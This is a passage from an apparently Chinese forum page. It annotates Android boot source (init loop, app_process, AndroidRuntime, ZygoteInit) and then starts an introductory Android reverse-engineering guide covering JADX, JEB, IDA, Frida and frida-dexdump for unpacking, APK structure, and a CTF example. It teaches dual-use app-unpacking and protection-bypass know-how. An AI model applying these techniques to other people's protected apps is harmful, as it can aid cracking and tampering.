am.QueueBuiltinAction(mix_hwrng_into_linux_rng_action, \\"mix_hwrng_into_linux_rng\\" ); am.QueueBuiltinAction(set_mmap_rnd_bits_action, \\"set_mmap_rnd_bits\\" ); am.QueueBuiltinAction(set_kptr_restrict_action, \\"set_kptr_restrict\\" ); am.QueueBuiltinAction(keychord_init_action, \\"keychord_init\\" ); am.QueueBuiltinAction(console_init_action, \\"console_init\\" ); // Trigger all the boot actions to get us started. am.QueueEventTrigger( \\"init\\" ); // Repeat mix_hwrng_into_linux_rng in case /dev/hw_random or /dev/random // wasn\'t ready immediately after wait_for_coldboot_done am.QueueBuiltinAction(mix_hwrng_into_linux_rng_action, \\"mix_hwrng_into_linux_rng\\" ); // Don\'t mount filesystems or start core system services in charger mode. std::string bootmode = GetProperty( \\"ro.bootmode\\" , \\"\\" ); if (bootmode == \\"charger\\" ) { am.QueueEventTrigger( \\"charger\\" ); } else { am.QueueEventTrigger( \\"late-init\\" ); } // Run all property triggers based on current state of the properties. am.QueueBuiltinAction(queue_property_triggers_action, \\"queue_property_triggers\\" ); |
最后一部分是个主循环
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | while ( true ) { // By default, sleep until something happens. int epoll_timeout_ms = -1; if (do_shutdown && !shutting_down) { do_shutdown = false ; if (HandlePowerctlMessage(shutdown_command)) { shutting_down = true ; } } if (!(waiting_for_prop || sm.IsWaitingForExec())) { am.ExecuteOneCommand(); } if (!(waiting_for_prop || sm.IsWaitingForExec())) { if (!shutting_down) restart_processes(); // If there\'s a process that needs restarting, wake up in time for that. if (process_needs_restart_at != 0) { epoll_timeout_ms = (process_needs_restart_at - time (nullptr)) * 1000; if (epoll_timeout_ms < 0) epoll_timeout_ms = 0; } // If there\'s more work to do, wake up again immediately. if (am.HasMoreCommands()) epoll_timeout_ms = 0; } epoll_event ev; int nr = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd, &ev, 1, epoll_timeout_ms)); if (nr == -1) { PLOG(ERROR) << \\"epoll_wait failed\\" ; } else if (nr == 1) { (( void (*)()) ev.data.ptr)(); } } return 0; } |
Zygote的执行过程大致可以概括如下图,我们简单分析一下涉及到的源码和函数,蓝色加深的是涉及的三个源码
\\n从上文我们知道了Zygote进程是在init.rc中创建的,他对应的可执行程序叫app_process,对应的源文件是app_main.cpp
\\n较为关键的几个地方就是开始的AppRuntime初始化, 是后续启动 Android 平台服务或应用程序的核心接口。 他是AndroidRuntime的子类,通过调用会通过继承的方法调用AndroidRuntime中的方法
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | int main( int argc, char * const argv[]) { if (!LOG_NDEBUG) { String8 argv_String; for ( int i = 0; i < argc; ++i) { argv_String.append( \\"\\\\\\"\\" ); argv_String.append(argv[i]); argv_String.append( \\"\\\\\\" \\" ); } ALOGV( \\"app_process main with argv: %s\\" , argv_String.c_str()); } AppRuntime runtime(argv[0], computeArgBlockSize(argc, argv)); argc--; argv++; const char * spaced_commands[] = { \\"-cp\\" , \\"-classpath\\" }; // Allow \\"spaced commands\\" to be succeeded by exactly 1 argument (regardless of -s). bool known_command = false ; int i; for (i = 0; i < argc; i++) { if (known_command == true ) { runtime.addOption(strdup(argv[i])); ALOGV( \\"app_process main add known option \'%s\'\\" , argv[i]); known_command = false ; continue ; } for ( int j = 0; j < static_cast < int >( sizeof (spaced_commands) / sizeof (spaced_commands[0])); ++j) { if ( strcmp (argv[i], spaced_commands[j]) == 0) { known_command = true ; ALOGV( \\"app_process main found known command \'%s\'\\" , argv[i]); } } if (argv[i][0] != \'-\' ) { break ; } if (argv[i][1] == \'-\' && argv[i][2] == 0) { ++i; // Skip --. break ; } runtime.addOption(strdup(argv[i])); ALOGV( \\"app_process main add option \'%s\'\\" , argv[i]); } //运行模式 // Parse runtime arguments. Stop at first unrecognized option. bool zygote = false ; bool startSystemServer = false ; bool application = false ; String8 niceName; String8 className; //提取argv中的模式与参数 ++i; // Skip unused \\"parent dir\\" argument. while (i < argc) { const char * arg = argv[i++]; if ( strcmp (arg, \\"--zygote\\" ) == 0) { zygote = true ; niceName = ZYGOTE_NICE_NAME; } else if ( strcmp (arg, \\"--start-system-server\\" ) == 0) { startSystemServer = true ; } else if ( strcmp (arg, \\"--application\\" ) == 0) { application = true ; } else if ( strncmp (arg, \\"--nice-name=\\" , 12) == 0) { niceName = (arg + 12); } else if ( strncmp (arg, \\"--\\" , 2) != 0) { className = arg; break ; } else { --i; break ; } } Vector<String8> args; if (!className.empty()) { // We\'re not in zygote mode, the only argument we need to pass // to RuntimeInit is the application argument. // // The Remainder of args get passed to startup class main(). Make // copies of them before we overwrite them with the process name. args.add(application ? String8( \\"application\\" ) : String8( \\"tool\\" )); runtime.setClassNameAndArgs(className, argc - i, argv + i); if (!LOG_NDEBUG) { String8 restOfArgs; char * const * argv_new = argv + i; int argc_new = argc - i; for ( int k = 0; k < argc_new; ++k) { restOfArgs.append( \\"\\\\\\"\\" ); restOfArgs.append(argv_new[k]); restOfArgs.append( \\"\\\\\\" \\" ); } ALOGV( \\"Class name = %s, args = %s\\" , className.c_str(), restOfArgs.c_str()); } } else { //这里是在Zygote模式 // We\'re in zygote mode. maybeCreateDalvikCache(); //确保 Dalvik 缓存存在(如有必要则创建) if (startSystemServer) { args.add(String8( \\"start-system-server\\" )); } char prop[PROP_VALUE_MAX]; if (property_get(ABI_LIST_PROPERTY, prop, NULL) == 0) { LOG_ALWAYS_FATAL( \\"app_process: Unable to determine ABI list from property %s.\\" , ABI_LIST_PROPERTY); return 11; } String8 abiFlag( \\"--abi-list=\\" ); abiFlag.append(prop); //从系统属性中获取 ABI 列表(支持的架构),并将其作为 --abi-list 选项传递给 Zygote。 args.add(abiFlag); // In zygote mode, pass all remaining arguments to the zygote // main() method. for (; i < argc; ++i) { args.add(String8(argv[i])); } } if (!niceName.empty()) { runtime.setArgv0(niceName.c_str(), true /* setProcName */ ); } //最后的部分是启动了java中的这个类/或者是独立模式 if (zygote) { runtime.start( \\"com.android.internal.os.ZygoteInit\\" , args, zygote); } else if (!className.empty()) { runtime.start( \\"com.android.internal.os.RuntimeInit\\" , args, zygote); } else { fprintf (stderr, \\"Error: no class name or --zygote supplied.\\\\n\\" ); app_usage(); LOG_ALWAYS_FATAL( \\"app_process: no class name or --zygote supplied.\\" ); } } |
我们关注start中的函数,
\\n**zygote**
参数:表示是否是由 zygote
进程派生启动的。zygote
是 Android 启动的核心进程。**primary_zygote**
:用于区分主 zygote
和次级 zygote
。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | void AndroidRuntime::start( const char * className, const Vector<String8>& options, bool zygote) { //启动的预备阶段,配置一些基础 ALOGD( \\">>>>>> START %s uid %d <<<<<<\\\\n\\" , className != NULL ? className : \\"(unknown)\\" , getuid()); static const String8 startSystemServer( \\"start-system-server\\" ); // Whether this is the primary zygote, meaning the zygote which will fork system server. bool primary_zygote = false ; /* * \'startSystemServer == true\' means runtime is obsolete and not run from * init.rc anymore, so we print out the boot start event here. */ for ( size_t i = 0; i < options.size(); ++i) { if (options[i] == startSystemServer) { primary_zygote = true ; /* track our progress through the boot sequence */ const int LOG_BOOT_PROGRESS_START = 3000; LOG_EVENT_LONG(LOG_BOOT_PROGRESS_START, ns2ms(systemTime(SYSTEM_TIME_MONOTONIC))); } } const char * rootDir = getenv ( \\"ANDROID_ROOT\\" ); if (rootDir == NULL) { rootDir = \\"/system\\" ; if (!hasDir( \\"/system\\" )) { LOG_FATAL( \\"No root directory specified, and /system does not exist.\\" ); return ; } setenv( \\"ANDROID_ROOT\\" , rootDir, 1); } const char * artRootDir = getenv ( \\"ANDROID_ART_ROOT\\" ); if (artRootDir == NULL) { LOG_FATAL( \\"No ART directory specified with ANDROID_ART_ROOT environment variable.\\" ); return ; } const char * i18nRootDir = getenv ( \\"ANDROID_I18N_ROOT\\" ); if (i18nRootDir == NULL) { LOG_FATAL( \\"No runtime directory specified with ANDROID_I18N_ROOT environment variable.\\" ); return ; } const char * tzdataRootDir = getenv ( \\"ANDROID_TZDATA_ROOT\\" ); if (tzdataRootDir == NULL) { LOG_FATAL( \\"No tz data directory specified with ANDROID_TZDATA_ROOT environment variable.\\" ); return ; } //const char* kernelHack = getenv(\\"LD_ASSUME_KERNEL\\"); //ALOGD(\\"Found LD_ASSUME_KERNEL=\'%s\'\\\\n\\", kernelHack); //启动虚拟机 /* start the virtual machine */ JniInvocation jni_invocation; jni_invocation.Init(NULL); JNIEnv* env; //这里的startVm函数启动了虚拟机(ART或者Dalvik) if (startVm(&mJavaVM, &env, zygote, primary_zygote) != 0) { return ; } onVmCreated(env); //虚拟机进一步配置与注册 /* * Register android functions. */ //注册本地方法 这个应该也很关键吧 if (startReg(env) < 0) { ALOGE( \\"Unable to register all android natives\\\\n\\" ); return ; } /* * We want to call main() with a String array with arguments in it. * At present we have two arguments, the class name and an option string. * Create an array to hold them. */ jclass stringClass; jobjectArray strArray; jstring classNameStr; stringClass = env->FindClass( \\"java/lang/String\\" ); assert (stringClass != NULL); strArray = env->NewObjectArray(options.size() + 1, stringClass, NULL); assert (strArray != NULL); classNameStr = env->NewStringUTF(className); assert (classNameStr != NULL); env->SetObjectArrayElement(strArray, 0, classNameStr); for ( size_t i = 0; i < options.size(); ++i) { jstring optionsStr = env->NewStringUTF(options.itemAt(i).c_str()); assert (optionsStr != NULL); env->SetObjectArrayElement(strArray, i + 1, optionsStr); } /* * Start VM. This thread becomes the main thread of the VM, and will * not return until the VM exits. */ char * slashClassName = toSlashClassName(className != NULL ? className : \\"\\" ); jclass startClass = env->FindClass(slashClassName); if (startClass == NULL) { ALOGE( \\"JavaVM unable to locate class \'%s\'\\\\n\\" , slashClassName); /* keep going */ } else { jmethodID startMeth = env->GetStaticMethodID(startClass, \\"main\\" , \\"([Ljava/lang/String;)V\\" ); if (startMeth == NULL) { ALOGE( \\"JavaVM unable to find main() in \'%s\'\\\\n\\" , className); /* keep going */ } else { env->CallStaticVoidMethod(startClass, startMeth, strArray); #if 0 if (env->ExceptionCheck()) threadExitUncaughtException(env); #endif } } free (slashClassName); ALOGD( \\"Shutting down VM\\\\n\\" ); if (mJavaVM->DetachCurrentThread() != JNI_OK) ALOGW( \\"Warning: unable to detach main thread\\\\n\\" ); if (mJavaVM->DestroyJavaVM() != 0) ALOGW( \\"Warning: VM did not shut down cleanly\\\\n\\" ); } |
此函数的体量过于庞大。主要的功能是设置了虚拟机的参数,利用了很多的parseRuntimeOption函数(对于不同的软硬件环境,函数的参数往往需要调整、优化,从而使系统达到最佳性能)
\\n安卓6到10对源码进行了一些调整 但是基础功能并未做出太大变动,一下是gityuan师傅的安卓6.0的代码注释
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | int AndroidRuntime::startVm(JavaVM** pJavaVM, JNIEnv** pEnv, bool zygote) { // JNI检测功能,用于native层调用jni函数时进行常规检测,比较弱字符串格式是否符合要求,资源是否正确释放。该功能一般用于早期系统调试或手机Eng版,对于User版往往不会开启,引用该功能比较消耗系统CPU资源,降低系统性能。 bool checkJni = false ; property_get( \\"dalvik.vm.checkjni\\" , propBuf, \\"\\" ); if ( strcmp (propBuf, \\"true\\" ) == 0) { checkJni = true ; } else if ( strcmp (propBuf, \\"false\\" ) != 0) { property_get( \\"ro.kernel.android.checkjni\\" , propBuf, \\"\\" ); if (propBuf[0] == \'1\' ) { checkJni = true ; } } if (checkJni) { addOption( \\"-Xcheck:jni\\" ); } //虚拟机产生的trace文件,主要用于分析系统问题,路径默认为/data/anr/traces.txt parseRuntimeOption( \\"dalvik.vm.stack-trace-file\\" , stackTraceFileBuf, \\"-Xstacktracefile:\\" ); //对于不同的软硬件环境,这些参数往往需要调整、优化,从而使系统达到最佳性能 parseRuntimeOption( \\"dalvik.vm.heapstartsize\\" , heapstartsizeOptsBuf, \\"-Xms\\" , \\"4m\\" ); parseRuntimeOption( \\"dalvik.vm.heapsize\\" , heapsizeOptsBuf, \\"-Xmx\\" , \\"16m\\" ); parseRuntimeOption( \\"dalvik.vm.heapgrowthlimit\\" , heapgrowthlimitOptsBuf, \\"-XX:HeapGrowthLimit=\\" ); parseRuntimeOption( \\"dalvik.vm.heapminfree\\" , heapminfreeOptsBuf, \\"-XX:HeapMinFree=\\" ); parseRuntimeOption( \\"dalvik.vm.heapmaxfree\\" , heapmaxfreeOptsBuf, \\"-XX:HeapMaxFree=\\" ); parseRuntimeOption( \\"dalvik.vm.heaptargetutilization\\" , heaptargetutilizationOptsBuf, \\"-XX:HeapTargetUtilization=\\" ); ... ////这一部分在安卓10中没有找到对应相同代码 //preloaded-classes文件内容是由WritePreloadedClassFile.java生成的, //在ZygoteInit类中会预加载工作将其中的classes提前加载到内存,以提高系统性能 if (!hasFile( \\"/system/etc/preloaded-classes\\" )) { return -1; } ////这一步还是保留了 //初始化虚拟机 if (JNI_CreateJavaVM(pJavaVM, pEnv, &initArgs) < 0) { ALOGE( \\"JNI_CreateJavaVM failed\\\\n\\" ); return -1; } } |
这个函数层层套用,最终实现的功能就是启动一些native层的函数方法的注册
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | int AndroidRuntime::startReg(JNIEnv* env) { //设置线程创建方法为javaCreateThreadEtc 【见小节2.4.1】 androidSetCreateThreadFunc((android_create_thread_fn) javaCreateThreadEtc); env->PushLocalFrame(200); //进程NI方法的注册【见小节2.4.2】 if (register_jni_procs(gRegJNI, NELEM(gRegJNI), env) < 0) { env->PopLocalFrame(NULL); return -1; } env->PopLocalFrame(NULL); return 0; } //————————————————————————————这里就是进程NI方法的注册 static int register_jni_procs( const RegJNIRec array[], size_t count, JNIEnv* env) { for ( size_t i = 0; i < count; i++) { //【见小节2.4.3】 if (array[i].mProc(env) < 0) { return -1; } } return 0; } //————————————————————————————上一层的array[i].mProc(env) 实际上就是这个数组中的不同函数 static const RegJNIRec gRegJNI[] = { REG_JNI(register_com_android_internal_os_RuntimeInit), REG_JNI(register_android_os_Binder), ... }; //———————————————————————————— #define REG_JNI(name) { name } struct RegJNIRec { int (*mProc)(JNIEnv*); }; |
书接上文提到的AndroidRuntime.cpp的最后步骤,也就是
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | char * slashClassName = toSlashClassName(className != NULL ? className : \\"\\" ); jclass startClass = env->FindClass(slashClassName); //查找java的类 if (startClass == NULL) { ALOGE( \\"JavaVM unable to locate class \'%s\'\\\\n\\" , slashClassName); /* keep going */ } else { //查找类中的静态方法main jmethodID startMeth = env->GetStaticMethodID(startClass, \\"main\\" , \\"([Ljava/lang/String;)V\\" ); if (startMeth == NULL) { ALOGE( \\"JavaVM unable to find main() in \'%s\'\\\\n\\" , className); /* keep going */ } else { //使用JNI待用静态方法main env->CallStaticVoidMethod(startClass, startMeth, strArray); #if 0 if (env->ExceptionCheck()) threadExitUncaughtException(env); #endif } } free (slashClassName); |
这里说的main就是ZygoteInit.main()
(我们在app_main.cpp的最后是start了com.android.internal.os.ZygoteInit
这个包,接下来就是去调用他的main)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | public static void main(String argv[]) { try { //实际上这个DDMS是可以在Dalvik和ART两种虚拟机中运行的 RuntimeInit.enableDdms(); //开启DDMS功能,Dalvik Debug Monitor Service,为安卓SDK提供的调试工具 SamplingProfilerIntegration.start(); boolean startSystemServer = false ; String socketName = \\"zygote\\" ; String abiList = null ; for ( int i = 1 ; i < argv.length; i++) { if ( \\"start-system-server\\" .equals(argv[i])) { startSystemServer = true ; } else if (argv[i].startsWith(ABI_LIST_ARG)) { abiList = argv[i].substring(ABI_LIST_ARG.length()); } else if (argv[i].startsWith(SOCKET_NAME_ARG)) { socketName = argv[i].substring(SOCKET_NAME_ARG.length()); } else { throw new RuntimeException( \\"Unknown command line argument: \\" + argv[i]); } } ... registerZygoteSocket(socketName); //为Zygote注册socket【见小节3.2】 preload(); // 预加载类和资源 SamplingProfilerIntegration.writeZygoteSnapshot(); gcAndFinalize(); //GC操作garbage collection 垃圾回收操作 if (startSystemServer) { startSystemServer(abiList, socketName); //启动system_server【见小节3.4】 } runSelectLoop(abiList); //进入循环模式【见小节3.5】 closeServerSocket(); } catch (MethodAndArgsCaller caller) { caller.run(); //启动system_server中会讲到。 } catch (RuntimeException ex) { closeServerSocket(); throw ex; } } |
在mian中是先开启了DDMS功能 然后为Zygote注册socket,preload函数预加载类和资源,启动SystemServer进程
\\n最后用一张流程图概括Zygote的总体加载流程就很清楚了
\\n\\n\\n\\n
\\n- 解析init.zygote.rc中的参数,创建AppRuntime并调用AppRuntime.start()方法;
\\n- 调用AndroidRuntime的startVM()方法创建虚拟机,再调用startReg()注册JNI函数;
\\n- 通过JNI方式调用ZygoteInit.main(),第一次进入Java世界;
\\n- registerZygoteSocket()建立socket通道,zygote作为通信的服务端,用于响应客户端请求;
\\n- preload()预加载通用类、drawable和color资源、openGL以及共享库以及WebView,用于提高app启动效率;
\\n- zygote完毕大部分工作,接下来再通过startSystemServer(),fork得力帮手system_server进程,也是上层framework的运行载体。
\\n- zygote功成身退,调用runSelectLoop(),随时待命,当接收到请求创建新进程请求时立即唤醒并执行相应工作。
\\n
\\n\\n我从始至终都坚信一点,那就是学校绝不会成为制约一个人成长的天花板,只要你肯学,只要你愿意努力,无论在哪,你就一定能有所作为。学校固然重要,但更重要的是自己的努力。为此,从研一便开始为自己的职业生涯做打算,并付之于行动。
\\n
\\n\\n学习力比知识更重要,因为知识可能落伍,但学习力能让你紧跟技术潮流,立于处不败之地。
\\n
\\n\\nLinux之父Linus Torvalds的一句名言:Read the fucking source code。
\\n
本文参考了很多Gityuan大师傅的博客文章,系统讲解了安卓的知识。
\\nAndroid 操作系统架构开篇 - Gityuan博客 | 袁辉辉的技术博客
\\nAndroid系统启动-zygote篇 - Gityuan博客 | 袁辉辉的技术博客
\\nAndroid系统启动-Init篇 - Gityuan博客 | 袁辉辉的技术博客
\\n\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\nAndroid逆向工程,作为一种深入分析Android应用程序的技术,主要目的就是通过分析应用的代码、资源和行为来理解其功能、结构和潜在的安全问题。它不仅仅是对应用进行破解或修改,更重要的是帮助开发者、研究人员和安全人员发现并解决安全隐患。
本文主要对整个安卓逆向入门的体系进行整理,解决一些安卓逆向时候的痛点问题!每个知识点都会有对应的例题下载,或者前文对应刷题的链接,在刷题中学习,才可以更快的掌握知识!
下面是本文的关键点:
雷电模拟器,作为安卓模拟器的佼佼者,一直以来备受用户青睐。它不仅可以让你在PC上畅快运行安卓应用,还能提供与手机端接近的使用体验,让你在开发、调试乃至游戏娱乐中都能游刃有余。安装雷电模拟器其实并不复杂,但要确保顺利完成,还是有一些细节需要关注。
相关使用:雷电模拟器的使用 - 搜索
下载地址:雷电模拟器官网_安卓模拟器_电脑手游模拟器
ADB(Android Debug Bridge),简直是安卓开发者和逆向工程师的“瑞士军刀”。无论是调试、安装应用,还是进行日志分析,ADB都是不可或缺的工具。你可能会认为ADB只是一个命令行工具,然而它的强大远超你的想象。
相关使用:ADB安装及使用详解(非常详细)从零基础入门到精通,看完这一篇就够了-CSDN博客
下载地址:2d4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8q4)9J5k6h3N6G2L8$3N6D9k6g2)9J5k6h3y4G2L8g2)9J5c8X3q4F1k6s2u0G2K9h3c8Q4x3V1k6J5k6i4m8G2M7$3W2@1L8%4u0&6i4K6u0r3M7r3I4S2N6r3k6G2M7X3#2Q4x3X3c8@1L8$3!0D9M7#2)9J5k6r3I4S2N6r3g2K6N6q4)9J5k6s2N6A6L8X3c8G2N6%4y4Q4x3X3g2*7K9i4l9`.
JADX是一款非常流行且功能强大的APK反编译工具,它能够将APK中的DEX文件(即Dalvik Executable文件)反编译成可读的Java源代码。JADX的优势不仅仅在于它的易用性,还在于它的反编译效果非常优秀,能够清晰地显示反编译后的Java代码,帮助开发者和安全人员深入理解应用的内部逻辑。
\\nGAD(Google Android Disassembler)是一个专注于APK底层字节码分析的工具。与JADX不同,GAD更多侧重于字节码级别的反汇编,它能够帮助安全研究人员和开发者深入到应用的最底层,查看其具体的机器码和执行逻辑。GAD特别适用于那些对字节码和汇编语言感兴趣的逆向工程师,它可以帮助我们获得应用中深层次的行为信息。
\\nJEB的魅力在于其高精度的反汇编能力。它不仅能解析传统的DEX文件,还能处理各类复杂的文件格式,包括加固过的APK、经过混淆处理的代码,甚至是一些非标准的Android文件结构。它像一把锐利的刀刃,切开了应用的“外壳”,揭示其最核心的部分。
\\n进入IDA的世界,你将步入一个顶级的反汇编领域。IDA(Interactive Disassembler)是众多逆向工程师手中的“神器”,无论是操作系统、应用程序还是嵌入式系统,它都能提供无与伦比的反汇编支持。
\\nFrida 是一个强大的动态分析工具,广泛应用于反向工程和安全测试中,尤其是在对 Android 应用进行脱壳(解除保护)时,它能够帮助研究人员通过动态注入脚本来分析应用程序的行为。以下是使用 Frida 进行脱壳的环境配置和基本步骤。
环境配置:
首先,确保你已经安装了 Frida 及其相关工具,可以通过以下命令进行安装:
1 2 3 | pip install frida # 安装 Frida 主库 pip install frida-tools # 安装 Frida 的工具集,提供命令行工具 pip install frida-dexdump # 安装 frida-dexdump,用于分析 APK 文件的 dex 内容 |
这些工具将帮助你在 Android 环境中启动和操作 Frida Server,以及进行 APK 分析等操作。
Frida 的环境搭建并不复杂,特别是在虚拟设备(如雷电模拟器)和 Android Debug Bridge (ADB) 的支持下。具体的搭建流程可以参考以下链接:
在深入理解Android应用的工作原理和内部结构之前,我们首先需要了解应用打包的核心文件——APK(Android Package)。APK 文件是Android操作系统中的应用程序包,它包含了应用的所有资源、代码和必要的配置文件。可以把APK看作一个容器,其中集成了Android应用的所有组成部分。
为了能够更深入地分析和理解Android应用的结构,我们可以将APK文件拆解为多个关键组件。每个组件在应用运行中都扮演着不同的角色,理解这些组件有助于我们全面掌握应用的运行机制,甚至为后续的逆向分析和漏洞挖掘打下基础。
实际上,APK 文件是以 ZIP 格式进行压缩打包的,因此,我们可以像操作普通的ZIP文件一样,使用解压工具对其进行解压。通过解压后查看APK文件的目录结构,我们能够清晰地了解每个组成部分的作用。以下是一个典型的APK文件的结构示例:
APK 文件通常包括以下几个主要部分:
AndroidManifest.xml 是每个Android应用不可或缺的配置文件,它包含了应用的关键信息。我们可以把它看作是应用的“蓝图”或“说明书”,它向系统声明了应用的基本属性、组件以及权限等。AndroidManifest.xml中包括以下重要部分:
\\n详细解析Manifest中的关键字段
\\n<manifest>
:包含整个应用的包信息及权限定义。package
: 定义了应用的包名,通常为反向域名格式,如com.example.app
。android:versionCode
: 定义应用的版本号。android:versionName
: 定义应用的版本名称。<application>
:包含应用的核心配置,如主题、图标等。android:icon
: 定义应用的图标。android:label
: 定义应用的名称。android:theme
: 应用的UI主题。<activity>
:声明应用的各个界面(Activity),以及这些Activity的属性和行为。android:name
: Activity的类名。android:label
: Activity的标签。android:theme
: Activity特有的UI主题。<uses-permission>
:声明应用所需要的权限,如访问网络、发送短信等。<intent-filter>
:定义组件的功能和响应的事件,如Activity的启动方式或Broadcast Receiver接收的广播类型。classes.dex 文件包含了应用程序的可执行代码。它是应用的Dalvik字节码文件,也是Android应用在运行时通过 Dalvik虚拟机 或 ART(Android Runtime) 解释执行的核心文件。每个Android应用中,所有的Java源代码都经过编译后形成一个或多个DEX(Dalvik Executable)文件,这些文件包含了应用的业务逻辑和代码实现。
在Android 5.0(Lollipop)之后,Google引入了 ART(Android Runtime) 代替了传统的Dalvik虚拟机,ART的执行方式比Dalvik更高效,支持Ahead-of-Time(AOT)编译和即时编译(JIT)策略。
这部分比较难可以拓展阅读一下,相关文档:
resources.arsc 文件包含了应用程序的所有编译后的资源映射信息。这个文件并不存储实际的资源内容(如图片或字符串),而是存储资源与资源ID的映射关系。例如,它会保存应用中的字符串、颜色、尺寸、样式等信息以及这些资源的ID。通过这个文件,Android系统能够在应用运行时快速访问和加载所需的资源。
\\n使用jadx可以看见:
assets/ 目录包含了应用程序的原始资源文件,这些资源不经过编译,直接以原始形式存储。通常,开发者可以在该目录中存放字体文件、音频文件、HTML文件等,应用在运行时通过API来读取这些资源。例如,游戏可能会将所有的地图文件或纹理图像存放在此目录中。通过AssetManager
API,应用可以访问这些文件。
lib/ 目录包含了本地库文件,通常是通过 JNI(Java Native Interface) 与C/C++编写的本地代码。这些库文件可以针对不同的硬件架构(如arm、x86等)进行编译,因此lib/
目录下通常会为每个架构创建相应的子目录。这个目录中存放的本地库可以通过Java代码调用JNI接口实现与系统底层的交互。
下面是一个案例进入lib进入到目录中得到以下目录结构,不同架构的手机拥有不同的操汇编代码所以使用四种架构的汇编分别实现一次:
1 2 3 4 5 6 7 8 9 10 11 | ├─arm64-v8a │ libcyberpeace.so │ ├─armeabi-v7a │ libcyberpeace.so │ ├─x86 │ libcyberpeace.so │ └─x86_64 libcyberpeace.so |
res/ 目录包含了Android应用所需的所有资源文件。与 assets/ 目录不同,res/ 目录中的资源文件是经过编译的,按照不同类型的资源进行组织,例如:
\\nstrings.xml
:存储应用的文本字符串。colors.xml
:存储应用使用的颜色资源。styles.xml
:存储样式资源。在values/
目录下,除了strings.xml
、colors.xml
等常见资源文件,还会有像dimens.xml
(尺寸定义文件)和attrs.xml
(自定义属性)等资源文件。
可以在文件夹目录中找到也可以在jadx里面查看:
META-INF/ 目录与Java的JAR文件类似,用于存放APK文件的元数据,如签名文件、校验信息等。此目录主要包括以下文件:
\\nAndroid 逆向分析是一个深入挖掘应用内部工作原理的过程,通常用于漏洞挖掘、恶意软件分析或应用的安全性研究。在这章中,我们将深入探讨 Android APK 的反编译与结构分析,剖析壳分析与绕过技术,以及如何对资源与布局文件进行分析。我们还会涉猎 Java 层的逆向技巧,以及如何在 Native 层执行逆向工程。每一部分都将逐一分析和讲解,以帮助读者在 Android 逆向分析中取得更好的突破。
\\n在进行 Android 逆向时,首先需要对 APK 文件进行反编译和结构分析。理解 APK 的基本结构至关重要,因为它帮助我们定位关键组件和入口点。一个典型的 APK 文件包含多个元素,如 AndroidManifest.xml
、DEX 文件、资源文件和库文件等。
\\n\\n目标: 学习如何反编译 APK 文件并分析其结构,找出应用程序的入口点。
\\n
文章: android apk入口分析_5.apk的程序入口界面 - CSDN博客
实战案例:BUU刷题-简单注册器
更详细的WP:BUUCTF之简单注册器(RE) - Eip的浪漫 - 博客园
首先梳理一下基本app的逆向流程:
1.将apk拖入JADX后寻找到AndroidManifest.xml文件:
下面给出AndroidManifest.xml文件的详细注释:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <? xml version = \\"1.0\\" encoding = \\"utf-8\\" ?> < manifest xmlns:android = \\"520K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4U0K9r3g2E0j5i4y4Q4x3X3g2S2L8X3c8J5L8$3W2V1i4K6u0W2j5$3!0E0i4K6u0r3j5i4m8C8i4K6u0r3M7X3g2K6i4K6u0r3j5h3&6V1M7X3!0A6k6l9`.`.\\" android:versionCode = \\"1\\" <!-- 应用版本代码,用于区分不同版本的更新 --\x3e android:versionName=\\"1.0\\" <!-- 应用版本名称,通常为可见版本号 --\x3e package=\\"com.example.flag\\"> <!-- 应用包名,唯一标识应用 --\x3e <!-- 使用的最低 SDK 版本和目标 SDK 版本 --\x3e < uses-sdk android:minSdkVersion = \\"8\\" <!-- 设置应用的最低 SDK 版本,表示应用可在 SDK 8 或以上的设备上运行 --\x3e android:targetSdkVersion=\\"19\\"/> <!-- 设置应用的目标 SDK 版本,表示应用针对 SDK 19 的优化 --\x3e < application android:theme = \\"@style/AppTheme\\" <!-- 设置应用的主题 --\x3e android:label=\\"@string/app_name\\" <!-- 设置应用的名称 --\x3e android:icon=\\"@drawable/ic_launcher\\" <!-- 设置应用的图标 --\x3e android:debuggable=\\"true\\" <!-- 设置应用是否可调试,调试模式下可以进行调试 --\x3e android:allowBackup=\\"true\\"> <!-- 设置是否允许应用数据备份 --\x3e <!-- 定义应用的主 Activity --\x3e < activity android:label = \\"@string/app_name\\" <!-- 设置 Activity 的名称 --\x3e android:name=\\"com.example.flag.MainActivity\\"> <!-- 定义该 Activity 的完整类名 --\x3e <!-- 配置启动该 Activity 的 Intent Filter --\x3e < intent-filter > < action android:name = \\"android.intent.action.MAIN\\" /> <!-- 